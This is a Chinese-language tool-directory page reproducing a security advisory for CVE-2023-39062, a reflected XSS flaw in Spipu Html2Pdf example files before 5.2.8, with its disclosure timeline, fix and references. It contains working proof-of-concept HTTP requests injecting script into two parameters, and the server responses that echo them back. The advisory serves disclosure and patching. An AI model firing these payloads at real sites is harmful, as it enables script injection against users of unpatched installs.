Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-39062 — Spipu Html2Pdf < 5.2.8 - 示例文件中的 XSS 漏洞 | Kitploit
工具/GitHubGitHub/afine-com/cve-2023-39062
漏洞分析Web应用程序漏洞利用Web安全论文与研究学习与教育
GitHubafine-com/cve-2023-39062

CVE-2023-39062

Spipu Html2Pdf < 5.2.8 - 示例文件中的 XSS 漏洞

查看仓库
2年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2023-39062

Spipu Html2Pdf < 5.2.8 - 示例文件中存在 XSS 漏洞。

时间线

  • 向供应商报告漏洞:18.07.2023
  • 发布已修复的 5.2.8 新版本:18.07.2023
  • 公开披露:23.08.2023

描述

Spipu Html2Pdf 示例文件中存在跨站脚本(XSS)漏洞。该漏洞允许攻击者在当前登录用户的上下文中执行不受信任的 JavaScript 代码。

该漏洞存在于传递给 example9.php 和 forms.php 示例文件的任何参数中。

向 forms.php 脚本发送的示例请求:

root@kitploit:~
GET /html2pdf/examples/res/forms.php?test=abc"><script>alert(document.domain)</script> HTTP/1.1
Host: example.afine.com
Cookie: PHPSESSID=oiqo2oopiqt88teqgfb0a23vk0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/113.0
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close

服务器响应:

root@kitploit:~
HTTP/1.1 200 OK
Server: Apache
Content-Length: 2215
Connection: close
Content-Type: text/html; charset=UTF-8

[...]

<page footer="form">
    <h1>Test de formulaire</h1><br>
    <br>
    <form action="http://example.afine.com:443/html2pdf/examples/res/forms.php?test=abc"><script>alert(document.domain)</script>">
        <input type="hidden" name="test" value="1">

[...]

向 example9.php 脚本发送的示例请求:

root@kitploit:~
GET /html2pdf/examples/exemple09.php?test=/"><script>alert(document.domain)</script>abc/?nom=1 HTTP/1.1
Host: example.afine.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close

服务器响应:

root@kitploit:~
HTTP/1.1 200 OK
Date: Sat, 08 Jul 2023 18:32:51 GMT
Server: Apache
X-Powered-By: PHP/7.4.8
Content-Length: 795
Connection: close
Content-Type: text/html; charset=UTF-8

[...]

<body>
<br>
Ceci est un exemple de génération de PDF via un bouton :)<br>
<br>
<img src="http://example.afine.com/html2pdf/examples/exemple09.php?test=/"><script>alert(document.domain)</script>abc/res/exemple09.png.php?px=5&amp;py=20" alt="image_php" ><br>
<br>
<br>
        <form method="get" action="">

[...]

该问题是由于对所提供请求参数缺乏清理(sanitization)所致。此问题已在 Spipu Html2Pdf 5.2.8 版本中修复。

受影响版本

< 5.2.8

安全建议

将 Spipu Html2Pdf 更新至 5.2.8 或更高版本。

参考资料

  • https://github.com/spipu/html2pdf/blob/92afd81823d62ad95eb9d034858311bb63aeb4ac/CHANGELOG.md
  • https://nvd.nist.gov/vuln/detail/CVE-2023-39062
下载工具